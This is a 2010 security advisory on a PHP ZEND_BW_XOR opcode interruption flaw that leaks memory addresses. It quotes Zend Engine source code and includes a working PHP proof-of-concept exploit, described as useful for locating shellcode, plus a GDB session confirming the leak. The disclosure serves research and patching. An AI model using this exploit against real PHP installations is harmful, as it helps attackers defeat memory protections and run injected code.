MOPS-2010-014: PHP ZEND_BW_XOR Opcode Interruption Address Information Leak Vulnerability

May 8th, 2010

PHP's ZEND_BW_XOR opcode can be abused for address information leak attacks by an userspace error handler interruption attack.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is similar to the other interruption vulnerabilities discussed in Stefan Esser's talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. The ZEND_BW_XOR opcode interruption is however different from all the other previously disclosed interruption vulnerabilities because it does not interrupt an internal PHP function, but an opcode handler of the Zend Engine. This is different because the usual recommendation to disable call time pass by reference to fix this vulnerability does not work here.

To understand how the ZEND_BW_XOR opcode can be interrupted by a userspace error handler it is necessary to look into the implementation of the opcode.

```
ZEND_VM_HANDLER(11, ZEND_BW_XOR, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV)
{
   zend_op *opline = EX(opline);
   zend_free_op free_op1, free_op2;

   bitwise_xor_function(&EX_T(opline->result.u.var).tmp_var,
      GET_OP1_ZVAL_PTR(BP_VAR_R),
      GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC);
   FREE_OP1();
   FREE_OP2();
   ZEND_VM_NEXT_OPCODE();
}
```

The handler itself does only call the bitwise_xor_function() and passed a temporary result variable and the two operands to this function. This is important to remember because both operands can be either constant values, temporary variable registers, normal variables and compiled variables. The bitwise_xor_function() is implemented as seen below. The special case of two string values being xored against each other is omitted here because it is irrelevant for our attack.

```
ZEND_API int bitwise_xor_function(zval *result, zval *op1, zval *op2 TSRMLS_DC) /* {{{ */
{
    zval op1_copy, op2_copy;

    if (Z_TYPE_P(op1) == IS_STRING && Z_TYPE_P(op2) == IS_STRING) {
        ...
    }

    zendi_convert_to_long(op1, op1_copy, result);
    zendi_convert_to_long(op2, op2_copy, result);

    ZVAL_LONG(result, Z_LVAL_P(op1) ^ Z_LVAL_P(op2));
    return SUCCESS;
}
/* }}} */
```

We can see that obviously both operands are converted to long before their long values are XORed against each other and written into the result register. So far it is not yet obvious how this can result in a userspace error handler interruption vulnerability. To see this it is necessary to look into the zendi_convert_to_long() macro implementation as seen below.

```
#define zendi_convert_to_long(op, holder, result)                \
   if (op == result) {                                           \
      convert_to_long(op);                                       \
   } else if (Z_TYPE_P(op) != IS_LONG) {                         \
      switch (Z_TYPE_P(op)) {                                    \
         case IS_NULL:                                           \
            Z_LVAL(holder) = 0;                                  \
            break;                                               \
         case IS_DOUBLE:                                         \
            Z_LVAL(holder) = zend_dval_to_lval(Z_DVAL_P(op));    \
            break;                                               \
         case IS_STRING:                                         \
            Z_LVAL(holder) = strtol(Z_STRVAL_P(op), NULL, 10);   \
            break;                                               \
         case IS_ARRAY:                                          \
            Z_LVAL(holder) = (zend_hash_num_elements(Z_ARRVAL_P(op))?1:0);  \
            break;                                               \
         case IS_OBJECT:                                         \
            (holder) = (*(op));                                  \
            zval_copy_ctor(&(holder));                           \
            convert_to_long_base(&(holder), 10);                 \
            break;                                               \
         case IS_BOOL:                                           \
         case IS_RESOURCE:                                       \
            Z_LVAL(holder) = Z_LVAL_P(op);                       \
            break;                                               \
         default:                                                \
            zend_error(E_WARNING, "Cannot convert to ordinal value");   \
            Z_LVAL(holder) = 0;                                  \
            break;                                               \
      }                                                          \
```

It should be obvious that in case of a PHP variable that is already of the type IS_LONG nothing will happen. It should also be obvious that the default switch case will result in a userspace error handler being called. However we cannot reach the case. Not so obvious is that the IS_OBJECT case can also result in a userspace error handler being called, because of the call to convert_to_long_base() as seen below (all the irrelevant switch cases omitted).

```
ZEND_API void convert_to_long_base(zval *op, int base) /* {{{ */
{
   long tmp;

   switch (Z_TYPE_P(op)) {
      case ...:
         break;
      case IS_OBJECT:
         {
            int retval = 1;
            TSRMLS_FETCH();

            convert_object_to_type(op, IS_LONG, convert_to_long);

            if (Z_TYPE_P(op) == IS_LONG) {
               return;
            }
            zend_error(E_NOTICE, "Object of class %s could not be converted to int", Z_OBJCE_P(op

            zval_dtor(op);
            ZVAL_LONG(op, retval);
            return;
         }
      default:
         ...
   }

   Z_TYPE_P(op) = IS_LONG;
}
```

This code will trigger an error for object instances of user defined classes and return a IS_LONG value of value 1.

To understand how this can be used in an exploit it is necessary to remember that this conversion steps are first performed for both operands of the ZEND_BW_XOR opcode. Therefore having an XOR operation with an integer as first operand and an object as second operand is exploitable. The first operand will not be touched because it already is an integer (IS_LONG) variable and the second operand will trigger a userspace error handler. That userspace error handler can then change the first operand, because it is directly linked to a PHP variable that can be changed.
If the error handler changes the PHP variable into a string the first operand used in the XOR will be the pointer to the string characters in memory and the second operand will be 1. In case of an array it will be the address of the Hashtable XOR 1. In both cases a simple XOR with 1 allows retrieving the in memory address of either a string or a hashtable.

Proof of concept, exploit or instructions to reproduce

The following exploit code will leak the address of a string to the attacker, which is very useful to leak the address of shellcode.

```
<?php

/* This will leak the Address of the string "I AM THE SHELLCODE. SERIOUSLY..." in memory */

error_reporting(E_ALL);

/* Initialize */
$a = 1;
$b = new stdClass();

/* Setup Error Handler */
set_error_handler("my_error");

/* Trigger the Code */
$addr = $a ^ $b;
$addr ^= 1;

restore_error_handler();

echo sprintf("%016x\n", $addr);
sleep(1);

function my_error()
{
   $GLOBALS['a'] = "I AM THE SHELLCODE. SERIOUSLY...";
   return 1;
}
?>
```

And here is the GDB session that proves the usefulness.

```
(gdb) break zif_sleep
Breakpoint 1 at 0x100244a09
(gdb) run xor_interruption.php
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/php xor_interruption.php
Reading symbols for shared libraries . done
0000000100b4b098

Breakpoint 1, 0x0000000100244a09 in zif_sleep ()
(gdb) x/1s 0x100b4b098
0x100b4b098:     "I AM THE SHELLCODE. SERIOUSLY..."
(gdb)
```

Notes

In order to fix this vulnerability it would be possible to either remove the E_NOTICE error or to check the operand type again inside bitwise_xor_function() before actually XORing the two operands and error out in case of a mismatch.